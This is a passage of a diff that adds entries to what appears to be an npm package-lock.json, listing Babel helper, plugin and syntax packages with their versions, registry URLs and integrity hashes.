+ "integrity": "sha512-OrpPZ97s+aPi6h2n1OXzdhVis1SGSsMU2aMHgLcOKfsp4/v1NWpx3CWT3lBj5eeBq9cDkPkh+YCfdF7O12uNDQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-compilation-targets": "^7.13.0",
+ "@babel/helper-module-imports": "^7.12.13",
+ "@babel/helper-plugin-utils": "^7.13.0",
+ "@babel/traverse": "^7.13.0",
+ "debug": "^4.1.1",
+ "lodash.debounce": "^4.0.8",
+ "resolve": "^1.14.2",
+ "semver": "^6.1.2"
+ }
+ },
+ "@babel/helper-environment-visitor": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-environment-visitor/-/helper-environment-visitor-7.22.5.tgz",
+ "integrity": "sha512-XGmhECfVA/5sAt+H+xpSg0mfrHq6FzNr9Oxh7PSEBBRUb/mL7Kz3NICXb194rCqAEdxkhPT1a88teizAFyvk8Q==",
+ "dev": true
+ },
+ "@babel/helper-function-name": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.22.5.tgz",
+ "integrity": "sha512-wtHSq6jMRE3uF2otvfuD3DIvVhOsSNshQl0Qrd7qC9oQJzHvOL4qQXlQn2916+CXGywIjpGuIkoyZRRxHPiNQQ==",
+ "dev": true,
+ "requires": {
+ "@babel/template": "^7.22.5",
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-hoist-variables": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.22.5.tgz",
+ "integrity": "sha512-wGjk9QZVzvknA6yKIUURb8zY3grXCcOZt+/7Wcy8O2uctxhplmUPkOdlgoNhmdVee2c92JXbf1xpMtVNbfoxRw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-member-expression-to-functions": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.22.5.tgz",
+ "integrity": "sha512-aBiH1NKMG0H2cGZqspNvsaBe6wNGjbJjuLy29aU+eDZjSbbN53BaxlpB02xm9v34pLTZ1nIQPFYn2qMZoa5BQQ==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-module-imports": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.22.5.tgz",
+ "integrity": "sha512-8Dl6+HD/cKifutF5qGd/8ZJi84QeAKh+CEe1sBzz8UayBBGg1dAIJrdHOcOM5b2MpzWL2yuotJTtGjETq0qjXg==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-module-transforms": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.22.9.tgz",
+ "integrity": "sha512-t+WA2Xn5K+rTeGtC8jCsdAH52bjggG5TKRuRrAGNM/mjIbO4GxvlLMFOEz9wXY5I2XQ60PMFsAG2WIcG82dQMQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-module-imports": "^7.22.5",
+ "@babel/helper-simple-access": "^7.22.5",
+ "@babel/helper-split-export-declaration": "^7.22.6",
+ "@babel/helper-validator-identifier": "^7.22.5"
+ }
+ },
+ "@babel/helper-optimise-call-expression": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.22.5.tgz",
+ "integrity": "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-plugin-utils": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.22.5.tgz",
+ "integrity": "sha512-uLls06UVKgFG9QD4OeFYLEGteMIAa5kpTPcFL28yuCIIzsf6ZyKZMllKVOCZFhiZ5ptnwX4mtKdWCBE/uT4amg==",
+ "dev": true
+ },
+ "@babel/helper-remap-async-to-generator": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.22.9.tgz",
+ "integrity": "sha512-8WWC4oR4Px+tr+Fp0X3RHDVfINGpF3ad1HIbrc8A77epiR6eMMc6jsgozkzT2uDiOOdoS9cLIQ+XD2XvI2WSmQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-annotate-as-pure": "^7.22.5",
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-wrap-function": "^7.22.9"
+ }
+ },
+ "@babel/helper-replace-supers": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.22.9.tgz",
+ "integrity": "sha512-LJIKvvpgPOPUThdYqcX6IXRuIcTkcAub0IaDRGCZH0p5GPUp7PhRU9QVgFcDDd51BaPkk77ZjqFwh6DZTAEmGg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-environment-visitor": "^7.22.5",
+ "@babel/helper-member-expression-to-functions": "^7.22.5",
+ "@babel/helper-optimise-call-expression": "^7.22.5"
+ }
+ },
+ "@babel/helper-simple-access": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.22.5.tgz",
+ "integrity": "sha512-n0H99E/K+Bika3++WNL17POvo4rKWZ7lZEp1Q+fStVbUi8nxPQEBOlTmCOxW/0JsS56SKKQ+ojAe2pHKJHN35w==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-skip-transparent-expression-wrappers": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.22.5.tgz",
+ "integrity": "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-split-export-declaration": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.22.6.tgz",
+ "integrity": "sha512-AsUnxuLhRYsisFiaJwvp1QF+I3KjD5FOxut14q/GzovUe6orHLesW2C7d754kRm53h5gqrz6sFl6sxc4BVtE/g==",
+ "dev": true,
+ "requires": {
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helper-string-parser": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.22.5.tgz",
+ "integrity": "sha512-mM4COjgZox8U+JcXQwPijIZLElkgEpO5rsERVDJTc2qfCDfERyob6k5WegS14SX18IIjv+XD+GrqNumY5JRCDw==",
+ "dev": true
+ },
+ "@babel/helper-validator-identifier": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.5.tgz",
+ "integrity": "sha512-aJXu+6lErq8ltp+JhkJUfk1MTGyuA4v7f3pA+BJ5HLfNC6nAQ0Cpi9uOquUj8Hehg0aUiHzWQbOVJGao6ztBAQ==",
+ "dev": true
+ },
+ "@babel/helper-validator-option": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.22.5.tgz",
+ "integrity": "sha512-R3oB6xlIVKUnxNUxbmgq7pKjxpru24zlimpE8WK47fACIlM0II/Hm1RS8IaOI7NgCr6LNS+jl5l75m20npAziw==",
+ "dev": true
+ },
+ "@babel/helper-wrap-function": {
+ "version": "7.22.9",
+ "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.22.9.tgz",
+ "integrity": "sha512-sZ+QzfauuUEfxSEjKFmi3qDSHgLsTPK/pEpoD/qonZKOtTPTLbf59oabPQ4rKekt9lFcj/hTZaOhWwFYrgjk+Q==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-function-name": "^7.22.5",
+ "@babel/template": "^7.22.5",
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/helpers": {
+ "version": "7.22.6",
+ "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.22.6.tgz",
+ "integrity": "sha512-YjDs6y/fVOYFV8hAf1rxd1QvR9wJe1pDBZ2AREKq/SDayfPzgk0PBnVuTCE5X1acEpMMNOVUqoe+OwiZGJ+OaA==",
+ "dev": true,
+ "requires": {
+ "@babel/template": "^7.22.5",
+ "@babel/traverse": "^7.22.6",
+ "@babel/types": "^7.22.5"
+ }
+ },
+ "@babel/highlight": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.22.5.tgz",
+ "integrity": "sha512-BSKlD1hgnedS5XRnGOljZawtag7H1yPfQp0tdNJCHoH6AZ+Pcm9VvkrK59/Yy593Ypg0zMxH2BxD1VPYUQ7UIw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-validator-identifier": "^7.22.5",
+ "chalk": "^2.0.0",
+ "js-tokens": "^4.0.0"
+ },
+ "dependencies": {
+ "ansi-styles": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
+ "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
+ "dev": true,
+ "requires": {
+ "color-convert": "^1.9.0"
+ }
+ },
+ "chalk": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz",
+ "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==",
+ "dev": true,
+ "requires": {
+ "ansi-styles": "^3.2.1",
+ "escape-string-regexp": "^1.0.5",
+ "supports-color": "^5.3.0"
+ }
+ },
+ "color-convert": {
+ "version": "1.9.3",
+ "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz",
+ "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==",
+ "dev": true,
+ "requires": {
+ "color-name": "1.1.3"
+ }
+ },
+ "color-name": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz",
+ "integrity": "sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==",
+ "dev": true
+ },
+ "escape-string-regexp": {
+ "version": "1.0.5",
+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz",
+ "integrity": "sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==",
+ "dev": true
+ },
+ "has-flag": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz",
+ "integrity": "sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==",
+ "dev": true
+ },
+ "supports-color": {
+ "version": "5.5.0",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz",
+ "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==",
+ "dev": true,
+ "requires": {
+ "has-flag": "^3.0.0"
+ }
+ }
+ }
+ },
+ "@babel/parser": {
+ "version": "7.22.7",
+ "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.22.7.tgz",
+ "integrity": "sha512-7NF8pOkHP5o2vpmGgNGcfAeCvOYhGLyA3Z4eBQkT1RJlWu47n63bCs93QfJ2hIAFCil7L5P2IWhs1oToVgrL0Q==",
+ "dev": true
+ },
+ "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.22.5.tgz",
+ "integrity": "sha512-31Bb65aZaUwqCbWMnZPduIZxCBngHFlzyN6Dq6KAJjtx+lx6ohKHubc61OomYi7XwVD4Ol0XCVz4h+pYFR048g==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.22.5",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.22.5",
+ "@babel/plugin-transform-optional-chaining": "^7.22.5"
+ }
+ },
+ "@babel/plugin-proposal-async-generator-functions": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.20.7.tgz",
+ "integrity": "sha512-xMbiLsn/8RK7Wq7VeVytytS2L6qE69bXPB10YCmMdDZbKF4okCqY74pI/jJQ/8U0b/F6NrT2+14b8/P9/3AMGA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-environment-visitor": "^7.18.9",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/helper-remap-async-to-generator": "^7.18.9",
+ "@babel/plugin-syntax-async-generators": "^7.8.4"
+ }
+ },
+ "@babel/plugin-proposal-class-properties": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.18.6.tgz",
+ "integrity": "sha512-cumfXOF0+nzZrrN8Rf0t7M+tF6sZc7vhQwYQck9q1/5w2OExlD+b4v4RpMJFaV1Z7WcDRgO6FqvxqxGlwo+RHQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-class-features-plugin": "^7.18.6",
+ "@babel/helper-plugin-utils": "^7.18.6"
+ }
+ },
+ "@babel/plugin-proposal-class-static-block": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.21.0.tgz",
+ "integrity": "sha512-XP5G9MWNUskFuP30IfFSEFB0Z6HzLIUcjYM4bYOPHXl7eiJ9HFv8tWj6TXTN5QODiEhDZAeI4hLok2iHFFV4hw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-class-features-plugin": "^7.21.0",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-class-static-block": "^7.14.5"
+ }
+ },
+ "@babel/plugin-proposal-dynamic-import": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.18.6.tgz",
+ "integrity": "sha512-1auuwmK+Rz13SJj36R+jqFPMJWyKEDd7lLSdOj4oJK0UTgGueSAtkrCvz9ewmgyU/P941Rv2fQwZJN8s6QruXw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-dynamic-import": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-export-namespace-from": {
+ "version": "7.18.9",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.18.9.tgz",
+ "integrity": "sha512-k1NtHyOMvlDDFeb9G5PhUXuGj8m/wiwojgQVEhJ/fsVsMCpLyOP4h0uGEjYJKrRI+EVPlb5Jk+Gt9P97lOGwtA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.18.9",
+ "@babel/plugin-syntax-export-namespace-from": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-json-strings": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.18.6.tgz",
+ "integrity": "sha512-lr1peyn9kOdbYc0xr0OdHTZ5FMqS6Di+H0Fz2I/JwMzGmzJETNeOFq2pBySw6X/KFL5EWDjlJuMsUGRFb8fQgQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-json-strings": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-logical-assignment-operators": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.20.7.tgz",
+ "integrity": "sha512-y7C7cZgpMIjWlKE5T7eJwp+tnRYM89HmRvWM5EQuB5BoHEONjmQ8lSNmBUwOyy/GFRsohJED51YBF79hE1djug==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4"
+ }
+ },
+ "@babel/plugin-proposal-nullish-coalescing-operator": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.18.6.tgz",
+ "integrity": "sha512-wQxQzxYeJqHcfppzBDnm1yAY0jSRkUXR2z8RePZYrKwMKgMlE8+Z6LUno+bd6LvbGh8Gltvy74+9pIYkr+XkKA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-numeric-separator": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.18.6.tgz",
+ "integrity": "sha512-ozlZFogPqoLm8WBr5Z8UckIoE4YQ5KESVcNudyXOR8uqIkliTEgJ3RoketfG6pmzLdeZF0H/wjE9/cCEitBl7Q==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-numeric-separator": "^7.10.4"
+ }
+ },
+ "@babel/plugin-proposal-object-rest-spread": {
+ "version": "7.20.7",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.7.tgz",
+ "integrity": "sha512-d2S98yCiLxDVmBmE8UjGcfPvNEUbA1U5q5WxaWFUGRzJSVAZqm5W6MbPct0jxnegUZ0niLeNX+IOzEs7wYg9Dg==",
+ "dev": true,
+ "requires": {
+ "@babel/compat-data": "^7.20.5",
+ "@babel/helper-compilation-targets": "^7.20.7",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-object-rest-spread": "^7.8.3",
+ "@babel/plugin-transform-parameters": "^7.20.7"
+ }
+ },
+ "@babel/plugin-proposal-optional-catch-binding": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.18.6.tgz",
+ "integrity": "sha512-Q40HEhs9DJQyaZfUjjn6vE8Cv4GmMHCYuMGIWUnlxH6400VGxOuwWsPt4FxXxJkC/5eOzgn0z21M9gMT4MOhbw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.18.6",
+ "@babel/plugin-syntax-optional-catch-binding": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-optional-chaining": {
+ "version": "7.21.0",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.21.0.tgz",
+ "integrity": "sha512-p4zeefM72gpmEe2fkUr/OnOXpWEf8nAgk7ZYVqqfFiyIG7oFfVZcCrU64hWn5xp4tQ9LkV4bTIa5rD0KANpKNA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/helper-skip-transparent-expression-wrappers": "^7.20.0",
+ "@babel/plugin-syntax-optional-chaining": "^7.8.3"
+ }
+ },
+ "@babel/plugin-proposal-private-methods": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.18.6.tgz",
+ "integrity": "sha512-nutsvktDItsNn4rpGItSNV2sz1XwS+nfU0Rg8aCx3W3NOKVzdMjJRu0O5OkgDp3ZGICSTbgRpxZoWsxoKRvbeA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-class-features-plugin": "^7.18.6",
+ "@babel/helper-plugin-utils": "^7.18.6"
+ }
+ },
+ "@babel/plugin-proposal-private-property-in-object": {
+ "version": "7.21.11",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.21.11.tgz",
+ "integrity": "sha512-0QZ8qP/3RLDVBwBFoWAwCtgcDZJVwA5LUJRZU8x2YFfKNuFq161wK3cuGrALu5yiPu+vzwTAg/sMWVNeWeNyaw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-annotate-as-pure": "^7.18.6",
+ "@babel/helper-create-class-features-plugin": "^7.21.0",
+ "@babel/helper-plugin-utils": "^7.20.2",
+ "@babel/plugin-syntax-private-property-in-object": "^7.14.5"
+ }
+ },
+ "@babel/plugin-proposal-unicode-property-regex": {
+ "version": "7.18.6",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.18.6.tgz",
+ "integrity": "sha512-2BShG/d5yoZyXZfVePH91urL5wTG6ASZU9M4o03lKK8u8UW1y08OMttBSOADTcJrnPMpvDXRG3G8fyLh4ovs8w==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-create-regexp-features-plugin": "^7.18.6",
+ "@babel/helper-plugin-utils": "^7.18.6"
+ }
+ },
+ "@babel/plugin-syntax-async-generators": {
+ "version": "7.8.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz",
+ "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-class-properties": {
+ "version": "7.12.13",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz",
+ "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.12.13"
+ }
+ },
+ "@babel/plugin-syntax-class-static-block": {
+ "version": "7.14.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz",
+ "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.14.5"
+ }
+ },
+ "@babel/plugin-syntax-dynamic-import": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz",
+ "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-export-namespace-from": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz",
+ "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.3"
+ }
+ },
+ "@babel/plugin-syntax-json-strings": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz",
+ "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-logical-assignment-operators": {
+ "version": "7.10.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz",
+ "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.10.4"
+ }
+ },
+ "@babel/plugin-syntax-nullish-coalescing-operator": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz",
+ "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-numeric-separator": {
+ "version": "7.10.4",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz",
+ "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.10.4"
+ }
+ },
+ "@babel/plugin-syntax-object-rest-spread": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz",
+ "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-optional-catch-binding": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz",
+ "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-optional-chaining": {
+ "version": "7.8.3",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz",
+ "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.8.0"
+ }
+ },
+ "@babel/plugin-syntax-private-property-in-object": {
+ "version": "7.14.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz",
+ "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.14.5"
+ }
+ },
+ "@babel/plugin-syntax-top-level-await": {
+ "version": "7.14.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz",
+ "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==",
+ "dev": true,
+ "requires": {
+ "@babel/helper-plugin-utils": "^7.14.5"
+ }
+ },
+ "@babel/plugin-transform-arrow-functions": {
+ "version": "7.22.5",
+ "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.22.5.tgz",
